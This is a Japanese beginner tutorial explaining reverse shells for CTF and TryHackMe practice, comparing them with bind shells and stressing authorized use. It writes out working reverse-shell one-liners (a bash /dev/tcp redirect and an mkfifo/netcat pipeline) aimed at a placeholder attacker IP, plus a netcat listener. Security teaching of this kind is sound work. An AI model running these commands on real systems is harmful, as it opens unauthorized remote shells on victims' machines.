セキュリティ学習やCTF(Capture The Flag)、TryHackMeといったプラットフォームを使っていると、「reverse shell(リバースシェル)」という言葉をよく耳にします。
しかし、聞き慣れない方にとっては「reverse shellとは何か」「どんな場面で使うのか」が分かりにくいかもしれません。
本記事では、初心者の方にも分かりやすいよう、reverse shellの基本や仕組み、具体例を丁寧にご説明いたします。
reverse shellとは何か?
reverse shell(リバースシェル)とは、攻撃対象(被害者)から攻撃者の端末へ接続を張り、その接続を通じてシェル(コマンド操作)の権限を得る仕組みのことです。
通常、リモート接続と言えば、SSHやRDPのように「自分(攻撃者)からターゲットへ接続」しますが、reverse shellはその逆です。
つまり、ターゲットのマシンから、攻撃者のマシンへ自発的に接続するため、「reverse(逆)」という名称が付いています。
この技術は、以下のような場面で利用されます。
- 脆弱なWebアプリケーションへの侵入後、より高度な操作を行う
- ファイアウォールやNATの内側にある端末に、外部からアクセスする
- 権限昇格や情報収集のために、シェル操作環境を確保する
もちろん、正規の利用目的は「セキュリティテスト」や「学習目的」に限られます。
reverse shellの仕組み
reverse shellの基本的な流れは以下のとおりです。
① 攻撃者側(自分の端末)でリスナーを待機
まず、攻撃者側の端末(例:Kali Linux)で、待ち受け用のリスナーを起動します。
例:
nc -lvnp 4444
これで、4444
番ポートで接続を待ち受ける状態になります。
② ターゲットからreverse shellコマンドを実行
次に、攻撃対象のマシンから、以下のようなコマンドを実行します。
例:
bash -i >& /dev/tcp/攻撃者IP/4444 0>&1
このコマンドにより、ターゲットの端末が攻撃者の端末へ接続を行い、その通信経路を通じてシェル操作が可能になります。
③ 攻撃者側でターゲットのシェルを取得
ターゲットからの接続が確立すると、攻撃者側のリスナーでシェル操作ができるようになります。
これにより、ターゲットのファイル操作、情報収集、さらなる侵入が可能になるのです。
reverse shellの具体例
以下は、nc
(Netcat)を使ったreverse shellの代表的なコマンド例です。
攻撃者側(リスナー)
nc -lvnp 4444
ターゲット側(reverse shell実行)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻撃者IP 4444 > /tmp/f
このように、特定のポートで待ち受けることで、ターゲットからの接続を受け取り、シェル操作が実現します。
reverse shellとbind shellの違い
reverse shellとよく比較されるのが「bind shell(バインドシェル)」です。
項目 | reverse shell | bind shell |
---|---|---|
接続の開始元 | ターゲット(被害者)側 | 攻撃者側が接続する |
ファイアウォール対策 | 内部から接続するため通りやすい | 外部からの接続が必要 |
使用シーン | 内部ネットワークの侵入後など | サーバーが直接公開されている場合 |
多くの現実的な侵入テストや演習では、ファイアウォールを考慮してreverse shellが利用されます。
reverse shellは危険?倫理的な注意点
reverse shellは便利な技術ですが、使用には厳格なルールがあります。
- 許可された環境・実習用マシンでのみ利用すること
- 実際の本番システムや他人のマシンに無断で使用することは、法律違反となります
- TryHackMeやHack The Boxなど、練習用プラットフォームで正しい知識を身につけることが大切です
まとめ:reverse shellを理解してセキュリティスキルを高めよう
reverse shellは、ペネトレーションテストやCTFにおいて欠かせない基本技術です。
- ターゲットから攻撃者へ接続させる手法
- ファイアウォールを回避して内部操作が可能
- 正しい知識と倫理観を持って活用することが重要
本記事を参考に、reverse shellの仕組みや活用方法をしっかりと理解し、セキュリティスキルの向上に役立てていただければ幸いです。
今後もTryHackMeや関連演習を通じて、実践的な学習を進めましょう。